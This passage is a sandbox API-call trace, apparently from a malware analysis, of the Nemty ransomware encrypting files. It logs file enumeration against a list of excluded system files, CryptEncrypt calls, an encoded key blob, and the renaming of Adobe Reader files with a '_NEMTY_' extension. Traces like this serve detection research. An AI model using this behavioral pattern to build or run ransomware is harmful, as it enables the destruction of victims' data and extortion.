0xffffffff [0204.484] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.541] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.541] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.590] CloseHandle (hObject=0xffffffff) returned 0 [0204.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0204.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0204.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942a8 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.591] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h._nemty_kgobjgd_")) returned 0 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0204.591] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2=".") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="..") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="...") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="windows") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="$RECYCLE.BIN") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="rsa") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="NTDETECT.COM") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="ntldr") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="MSDOS.SYS") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="IO.SYS") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="boot.ini") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="boot.ini") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="AUTOEXEC.BAT") returned 1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="ntuser.dat") returned -1 [0204.591] lstrcmpiW (lpString1="EUC-V", lpString2="desktop.ini") returned 1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="CONFIG.SYS") returned 1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="RECYCLER") returned -1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="BOOTSECT.BAK") returned 1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="bootmgr") returned 1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="programdata") returned -1 [0204.592] lstrcmpiW (lpString1="EUC-V", lpString2="appdata") returned 1 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-V", lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-V", lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-V", lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0204.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EUC-V", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EUC-V", lpUsedDefaultChar=0x0) returned 5 [0204.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0204.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0204.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0204.592] Sleep (dwMilliseconds=0x5) [0204.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d97d5d0, dwHighDateTime=0x1d561e8)) [0204.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d97d5d0, dwHighDateTime=0x1d561e8)) [0204.607] GetLastError () returned 0x5 [0204.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.607] GetLastError () returned 0x5 [0204.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.607] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.608] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0204.608] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="EOKEgW2+U62jUnWqsSOh0ilzRai/F0imLv9eCBqaCZCC3TaSwmQ9FwwV6qMD5UV3\r\nLm/qGUATQhM8/tocbwHdu0MMJFu2ESShajKEIoun2/6OgnUYc08MMRk5qzbilZxB\r\ntAVL3042sgWhP4ujWZWJIqCj4QqvxdqblRYW4wUraI6T2KpngC7VNExnc4Bo5Hkm\r\nkgAWNs6KDTTQnhsDUZ4zq8udkeF3xfb3PZhD0vWFCF/SmQZuQop5gM38taL2lzME\r\nUdNzPNLr2LsRuKT1yFNbvxDLw9/5FClgMsdQgBlUO4frtLYC7/dGRSwX5YUMh1Gv\r\n+xYuZ1pbIrr0uW6TVKHqdA==\r\n", pcchString=0x653e91c) returned 1 [0204.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0204.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0204.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0204.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.609] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 